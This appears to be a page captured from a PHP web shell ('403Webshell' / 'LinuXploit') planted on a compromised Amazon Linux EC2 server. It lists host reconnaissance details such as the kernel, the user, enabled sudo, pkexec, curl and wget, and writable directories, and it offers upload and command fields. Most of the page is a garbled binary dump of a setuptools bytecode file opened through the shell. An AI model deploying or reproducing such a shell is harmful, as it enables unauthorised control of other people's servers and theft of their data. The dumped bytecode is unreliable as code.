403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/setuptools/command/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/setuptools/command/__pycache__/build_py.cpython-39.pyc
a

H�8h/"�@s�ddlmZddlmZddlmmZddlZddlZddl	Z	ddl
Z
ddlZddl
Z
ddlZddlmZdd�ZGdd�dej�Zd	d
�ZdS)�)�glob)�convert_pathN)�unique_everseencCst�|t�|�jtjB�dS�N)�os�chmod�stat�st_mode�S_IWRITE)�target�r�?/usr/lib/python3.9/site-packages/setuptools/command/build_py.py�
make_writablesrc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zed d!��Zd"S)#�build_pyaXEnhanced 'build_py' command that includes data files with packages

    The data files are specified via a 'package_data' argument to 'setup()'.
    See 'setuptools.dist.Distribution' for more details.

    Also, this version of the 'build_py' command allows you to specify both
    'py_modules' and 'packages' in the same setup operation.
    cCs@tj�|�|jj|_|jjp i|_d|jvr6|jd=g|_dS)N�
data_files)�origr�finalize_options�distribution�package_data�exclude_package_data�__dict__�_build_py__updated_files��selfrrr
rs

zbuild_py.finalize_optionscCsN|js|jsdS|jr|��|jr4|��|��|�tjj|dd��dS)z?Build modules, packages, and copy data files to build directoryNr)Zinclude_bytecode)	Z
py_modules�packagesZ
build_modulesZbuild_packages�build_package_dataZbyte_compilerrZget_outputsrrrr
�run$szbuild_py.runcCs&|dkr|��|_|jStj�||�S)zlazily compute data filesr)�_get_data_filesrrr�__getattr__)r�attrrrr
r4s
zbuild_py.__getattr__cCs.tj�||||�\}}|r&|j�|�||fSr)rr�build_moduler�append)r�moduleZmodule_file�packageZoutfile�copiedrrr
r ;szbuild_py.build_modulecCs|��tt|j|jpd��S)z?Generate list of '(package,src_dir,build_dir,filenames)' tuplesr)�analyze_manifest�list�map�_get_pkg_data_filesrrrrr
rAszbuild_py._get_data_filescCs$|j�di�tt|j|jpd��S)z�
        Generate list of ``(package,src_dir,build_dir,filenames)`` tuples,
        but without triggering any attempt to analyze or build the manifest.
        �manifest_filesr)r�
setdefaultr&r'r(rrrrr
�get_data_files_without_manifestFsz(build_py.get_data_files_without_manifestcsJ|�|��tjj|jg|�d��}�fdd�|�|��D�}|�||fS)N�.csg|]}tj�|���qSr)r�path�relpath)�.0�file��src_dirrr
�
<listcomp>Xs�z0build_py._get_pkg_data_files.<locals>.<listcomp>)�get_package_dirrr-�joinZ	build_lib�split�find_data_files)rr#�	build_dir�	filenamesrr1r
r(Ps


�zbuild_py._get_pkg_data_filescCsX|�|j||�}tt|�}tj�|�}ttj	j
|�}t�|j�|g�|�}|�
|||�S)z6Return filenames for package's data files in 'src_dir')�_get_platform_patternsrr'r�	itertools�chain�
from_iterable�filterrr-�isfiler)�get�exclude_data_files)rr#r2�patternsZglobs_expandedZ
globs_matchesZ
glob_files�filesrrr
r7^s�
�zbuild_py.find_data_filesc
Cst|jD]h\}}}}|D]V}tj�||�}|�tj�|��tj�||�}|�||�\}}	t|�tj�|�}qqdS)z$Copy data files into build directoryN)	rrr-r5Zmkpath�dirnameZ	copy_filer�abspath)
rr#r2r8r9�filenamerZsrcfileZoutfr$rrr
roszbuild_py.build_package_datacCs�i|_}|jjsdSi}|jp"dD]}||t|�|��<q$|�d�|�d�}|jj	D]�}t
j�t|��\}}d}|}	|r�||kr�||vr�|}t
j�|�\}}
t
j�
|
|�}qx||vrX|�d�r�||	kr�qX|�||g��|�qXdS)NrZegg_infoz.py)r)rZinclude_package_datar�assert_relativer4Zrun_commandZget_finalized_commandZfilelistrCrr-r6r5�endswithr*r!)rZmfZsrc_dirsr#Zei_cmdr-�d�f�prevZoldfZdfrrr
r%zs(


zbuild_py.analyze_manifestcCsdSrrrrrr
�get_data_files�szbuild_py.get_data_filescCs�z|j|WStyYn0tj�|||�}||j|<|rF|jjsJ|S|jjD]}||ksl|�|d�rRqvqR|St�	|d��}|�
�}Wd�n1s�0Yd|vr�tj�
d|f��|S)z8Check namespace packages' __init__ for declare_namespacer,�rbNsdeclare_namespacez�Namespace package problem: %s is a namespace package, but its
__init__.py does not call declare_namespace()! Please fix it.
(See the setuptools manual under "Namespace Packages" for details.)
")�packages_checked�KeyErrorrr�
check_packagerZnamespace_packages�
startswith�io�open�read�	distutils�errorsZDistutilsError)rr#Zpackage_dirZinit_pyZpkgrJ�contentsrrr
rP�s*
&��zbuild_py.check_packagecCsi|_tj�|�dSr)rNrr�initialize_optionsrrrr
rX�szbuild_py.initialize_optionscCs0tj�||�}|jjdur,tj�|jj|�S|Sr)rrr4rZsrc_rootrr-r5)rr#�resrrr
r4�szbuild_py.get_package_dircs\t���|�|j||�}�fdd�|D�}tj�|�}t|���fdd��D�}tt|��S)z6Filter filenames for package's data files in 'src_dir'c3s|]}t��|�VqdSr)�fnmatchr>�r/�pattern)rCrr
�	<genexpr>��z.build_py.exclude_data_files.<locals>.<genexpr>c3s|]}|�vr|VqdSrr)r/�fn)�badrr
r]�r^)r&r:rr;r<r=�setr)rr#r2rCrBZmatch_groupsZmatchesZkeepersr)r`rCr
rA�s�zbuild_py.exclude_data_filescs.t�|�dg�|�|g��}�fdd�|D�S)z�
        yield platform-specific path patterns (suitable for glob
        or fn_match) from a glob-based spec (such as
        self.package_data or self.exclude_package_data)
        matching package in src_dir.
        �c3s |]}tj��t|��VqdSr)rr-r5rr[r1rr
r]�s�z2build_py._get_platform_patterns.<locals>.<genexpr>)r;r<r@)�specr#r2Zraw_patternsrr1r
r:�s

�
�zbuild_py._get_platform_patternsN)�__name__�
__module__�__qualname__�__doc__rrrr rr+r(r7rr%rLrPrXr4rA�staticmethodr:rrrr
rs$	
rcCs:tj�|�s|Sddlm}t�d���|}||��dS)Nr)�DistutilsSetupErrorz�
        Error: setup script specifies an absolute path:

            %s

        setup() arguments must *always* be /-separated paths relative to the
        setup.py directory, *never* absolute paths.
        )rr-�isabs�distutils.errorsri�textwrap�dedent�lstrip)r-ri�msgrrr
rG�s�
��
rG)rZdistutils.utilrZdistutils.command.build_pyZcommandrrrrZrlrRrkrUr;rZ setuptools.extern.more_itertoolsrrrGrrrr
�<module>sO

Youez - 2016 - github.com/yon3zu
LinuXploit